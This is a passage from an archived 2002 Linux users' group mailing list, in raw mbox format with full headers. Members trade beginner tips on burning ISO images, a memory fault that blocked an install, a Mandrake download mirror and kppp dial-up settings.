<20021005011805.8457.qmail@email.com> Content-Type: text/plain; charset="iso-8859-15" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from [12.84.14.78] by ws3-6.us4.outblaze.com with http for jjjm.1@email.com; Fri, 04 Oct 2002 19:18:03 -0600 From: "Juanita Moore" To: qclug@qclug.org Date: Fri, 04 Oct 2002 19:18:03 -0600 X-Originating-Ip: 12.84.14.78 X-Originating-Server: ws3-6.us4.outblaze.com Subject: [QCLUG] Burning iso's X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 05 Oct 2002 01:17:21 -0000 Ahhhh . . . Steve! Yes, of course. My little brain just cannot get around those HUGE numbers! The size is reported correctly on the web site, as long as you are not looking at it thru the eyes of winxp, but the rounding comes from what is printed ON the blank CDs! ;-) And, hey, I thought winxp had no dos? Then (off topic, sorry), hows come one can bring up a dos box by run: command???! Kinda surprised *me*. I know YOU hafta know about all kinds of systems, right? JJ -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup "Free price comparison tool gives you the best prices and cash back!" http://www.bestbuyfinder.com/download.htm From jjjm.1@email.com Sat Oct 05 01:35:57 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 22043 invoked by uid 1051); 5 Oct 2002 01:35:57 -0000 Received: from unknown (HELO ws3-6.us4.outblaze.com) (205.158.62.90) by 0 with SMTP; 5 Oct 2002 01:35:57 -0000 Received: (qmail 20827 invoked by uid 1001); 5 Oct 2002 01:36:42 -0000 Message-ID: <20021005013642.20826.qmail@email.com> Content-Type: text/plain; charset="iso-8859-15" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from [12.84.14.78] by ws3-6.us4.outblaze.com with http for jjjm.1@email.com; Fri, 04 Oct 2002 19:36:42 -0600 From: "Juanita Moore" To: qclug@qclug.org Date: Fri, 04 Oct 2002 19:36:42 -0600 X-Originating-Ip: 12.84.14.78 X-Originating-Server: ws3-6.us4.outblaze.com Subject: [QCLUG] Hardware X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 05 Oct 2002 01:35:57 -0000 Jim, Before re-partitioning, thought I'd start with the easiest thing to check--memory. Pulled one of the chips out, and guess what. The linux CD installed flawlessly! Figured that if there WAS some bad hardware, Linux would definitely notice and object. Hard to believe that I managed to choose the right one first, eh? The windows faults were happening as I installed more programs, not with the basic install. Solitaire NEVER has a problem! ;-) Tried downloading Mandrake today . . . guess cable is not much better than dialup for that. 30% after, like, 6 hours or so! Ugh. Looks like it is much better to just get CD's from someone. Thanks so much for your analysis. You, too, Mark. I'll surely let you know when I'm ready to graduate to Mandrake. Guess I'm off to put it all thru the wringer, see what breaks! ;-D JJ -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup "Free price comparison tool gives you the best prices and cash back!" http://www.bestbuyfinder.com/download.htm From gray@cns.uni.edu Sat Oct 05 03:08:41 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 22192 invoked by uid 1051); 5 Oct 2002 03:08:41 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by 0 with SMTP; 5 Oct 2002 03:08:41 -0000 Received: (qmail 29504 invoked from network); 5 Oct 2002 03:04:28 -0000 Received: from unknown (HELO math-cs.cns.uni.edu) (134.161.241.98) by math-cs.cns.uni.edu with SMTP; 5 Oct 2002 03:04:28 -0000 Date: Fri, 4 Oct 2002 22:04:28 -0500 (CDT) From: Paul Gray To: qclug@qclug.org Subject: Re: [QCLUG] Hardware In-Reply-To: <20021005013642.20826.qmail@email.com> Message-ID: X-message-flag: Send no MS Office files to this account! X-Accepted-File-Formats: ASCII .rtf .ps .pdf MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 05 Oct 2002 03:08:41 -0000 On Fri, 4 Oct 2002, Juanita Moore wrote: > Jim, > > Tried downloading Mandrake today . . . guess cable is > not much better than dialup for that. 30% after, like, > 6 hours or so! Ugh. Looks like it is much better to > just get CD's from someone. Thanks so much for your > analysis. Try ftp://www.cns.uni.edu:2121/ A little closer, a little less crowded. Paul Gray -o) 323 Wright Hall /\\ University of Northern Iowa _\_V Message void if penguin violated ... Don't mess with the penguin No one ever says "Hey, I can't read that ASCII e-mail ya sent me." From klown@revealed.net Sat Oct 05 03:20:30 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 22286 invoked by uid 1051); 5 Oct 2002 03:20:30 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 5 Oct 2002 03:20:30 -0000 Received: from revealed.net ([205.243.76.215]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with SMTP id net for ; Fri, 4 Oct 2002 22:20:09 -0500 From: "Mark Riedesel" Sender: klown@revealed.net To: qclug@qclug.org Date: Sat, 5 Oct 2002 03:20:09 GMT Subject: Re: [QCLUG] Burning iso's X-Mailer: DMailWeb Web to Mail Gateway 2.6z, http://netwinsite.com/top_mail.htm Message-id: <3d9e5a69.ed8.0@revealed.net> X-User-Info: 63.173.114.62 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 05 Oct 2002 03:20:31 -0000 If I'm not mistaken, people claiming XP "has no dos", simply means that XP is not running _on_top_ or connected to DOS. But XP does have a command prompt, which is a heck of a lot _like_ DOS, and runs on top of XP. Anyhew that's sorta OT, but anyway :) Mark >Ahhhh . . . Steve! Yes, of course. My little brain >just cannot get around those HUGE numbers! The size >is reported correctly on the web site, as long as you >are not looking at it thru the eyes of winxp, but the >rounding comes from what is printed ON the blank CDs! >;-) > >And, hey, I thought winxp had no dos? Then (off topic, >sorry), hows come one can bring up a dos box by >run: command???! Kinda surprised *me*. I know YOU >hafta know about all kinds of systems, right? > >JJ >-- >__________________________________________________________ >Sign-up for your own FREE Personalized E-mail at Mail.com >http://www.mail.com/?sr=signup > > >"Free price comparison tool gives you the best prices and cash back!" >http://www.bestbuyfinder.com/download.htm > >_______________________________________________ >QCLUG mailing list >QCLUG@qclug.org >http://qclug.org/mailman/listinfo/qclug > From jjjm.1@email.com Sun Oct 06 06:10:18 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 24510 invoked by uid 1051); 6 Oct 2002 06:10:18 -0000 Received: from unknown (HELO ws3-6.us4.outblaze.com) (205.158.62.90) by 0 with SMTP; 6 Oct 2002 06:10:18 -0000 Received: (qmail 8592 invoked by uid 1001); 6 Oct 2002 06:11:05 -0000 Message-ID: <20021006061105.8591.qmail@email.com> Content-Type: text/plain; charset="iso-8859-15" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Mailer: MIME-tools 5.41 (Entity 5.404) Received: from [12.84.14.16] by ws3-6.us4.outblaze.com with http for jjjm.1@email.com; Sun, 06 Oct 2002 00:11:09 -0600 From: "Juanita Moore" To: qclug@qclug.org Date: Sun, 06 Oct 2002 00:11:09 -0600 X-Originating-Ip: 12.84.14.16 X-Originating-Server: ws3-6.us4.outblaze.com Subject: [QCLUG] Downloading iso's X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sun, 06 Oct 2002 06:10:18 -0000 Thanks, Paul! My friend is just letting it roll along--maybe I'll teach her a bit about BIG downloads! ;-) So, is that why it's so slow? I guess I might have known, as some of the other mirrors refused connection outright. I don't even dare try it from here--I only have dial-up. Hmmmmm . . . speaking of dial-up . . . it seems to me that the last time I configured kppp under Corel Linux, I did not have to type in user name and password every time. That was 1.1, this is 1.2. What am I missing??? Strangely enough, I am now connected under Linux, via AT&T, using Mozilla!! Having next to NO experience with various distros, how can one choose which is best for him/her??? Sorry to rattle on so--it is late for me. JJ -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup "Free price comparison tool gives you the best prices and cash back!" http://www.bestbuyfinder.com/download.htm From jjjm.1@email.com Sun Oct 06 06:11:36 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 24554 invoked by uid 1051); 6 Oct 2002 06:11:36 -0000 Received: from unknown (HELO ws3-6.us4.out